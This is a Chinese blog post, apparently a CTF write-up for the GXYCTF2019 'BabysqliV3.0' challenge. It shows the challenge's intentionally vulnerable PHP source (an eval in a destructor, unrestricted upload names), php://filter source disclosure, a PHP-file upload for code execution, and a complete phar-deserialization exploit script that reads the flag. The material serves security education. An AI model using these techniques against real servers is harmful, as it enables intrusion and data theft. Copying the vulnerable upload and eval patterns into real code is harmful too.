前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >[GXYCTF2019]BabysqliV3.0题解

[GXYCTF2019]BabysqliV3.0题解

作者头像
KevinBruce
发布2021-11-16 10:56:08
9690
发布2021-11-16 10:56:08
举报
文章被收录于专栏:CTF及算法学习

[GXYCTF2019]BabysqliV3.0

常规分析

题目叫babysqli,刚访问的时候会有一个登录页面,于是我用测了测sql注入,毫无收获。

最后发现是弱口令,账号admin,密码password。

登录进去以后是这样的:

url末尾是file=的形式,怀疑是文件包含,并且自动在xxx后面加.php。

将file=后面的参数改为php://filter/read=convert.base64-encode/resource=home,解码后得到home.php的内容。

代码语言:javascript
复制
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}
		else{
			if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
				$file = $_GET['file'].".php";
			}
			else{
				$file = $_GET['file'].".fxxkyou!";
			}
			echo "当前引用的是 ".$file;
			require $file;
		}
		
	}
	else{
		die("no permission!");
	}
}
?>

同理可得到upload.php的内容。

代码语言:javascript
复制
<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	

	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
        //cmd可以被执行 但是需要token
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}
?>

代码中给了一个class,怀疑可能是一道反序列化的题目,没有反序列化函数但是又涉及到文件上传,基本可以确定是一道phar反序列化题目。

反序列化题目一般可用的点主要是各个魔术方法,本题目中两个魔术方法有可能被利用。

代码语言:javascript
复制
function __toString(){
	global $sandbox;
	global $ext;
	// return $sandbox.$this->Filename.$ext;
	return $this->Filename;
}

function __destruct(){
	if($this->token != $_SESSION['user']){
		$this->cmd = "die('check token falied!');";
	}
      //cmd可以被执行 但是需要token
	eval($this->cmd);
}

可以很明显的看到__destruct魔术方法中存在eval,有机会被利用。当然,__toString魔术方法也有机会。

非预期1

__toString魔术方法被调用了,该方法返回一个文件名,如果存在读取文件的操作,也可能被利用。刚好file_get_contents方法触发了该方法,因此可以通过将Filename参数改为flag的路径来读取flag信息。

代码语言:javascript
复制
if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

恰好在Uploader类中存在一个可以直接控制Filename的方法:

代码语言:javascript
复制
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
}

用户可以自己传一个name参数作为Filename,并且过滤也并没有限制读取flag。

接下来的过程就比较简单了,访问/home.php?file=upload&name=/var/www/html/flag.php,然后随便上传一个符合要求的文件,即可得到flag。

非预期2

这个题,上传的时候并没有过滤PHP,还可以指定上传的文件名。所以,直接上传个PHP文件,即可执行命令。本文传了一个写有phpinfo的文件进行测试,上传的文件为a.php。

上传的时候url为home.php?file=upload&name=a.php。

上传后访问根目录下的a.php即可。

预期解

预期解应该是对cmd参数的利用,加下来说一下预期解应该怎么做。

cmd的利用在destruct魔术方法中,要想利用cmd必须绕过对token的比较。

代码语言:javascript
复制
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];

根据上述代码可知,token来自于

_SESSION['user']中,而如果用户不自己传递name的值,则Filename的值中会包含

_SESSION['user']。因此我们可以先随便上传一个文件,不传递name参数,这样就可以拿到$_SESSION['user']。

前面提到,这看起来是一个标准的phar反序列化题目,可以上传文件,没有限制phar协议读取文件,并且有一个可以被利用的类。接下来就是控制class中各个参数的值,生成一个phar文件并访问,触发命令执行,从而得到flag。

exp

代码语言:javascript
复制
<?php
error_reporting(0);
class Uploader{
	public $Filename = 'aaa';
	//可以先用phpinfo等函数测试一下
	public $cmd = 'echo file_get_contents("/var/www/html/flag.php");';
	public $token = 'GXY88cc1f1606f74121a99dd1de5560b585';

}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Uploader();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

将生成的phar文件上传,利用phar协议访问url即可。

下图分别是用phpinfo测试的结果和最终得到flag的结果。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-11-12 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • [GXYCTF2019]BabysqliV3.0
    • 常规分析
      • 非预期1
        • 非预期2
          • 预期解
            • exp
            相关产品与服务
            文件存储
            文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档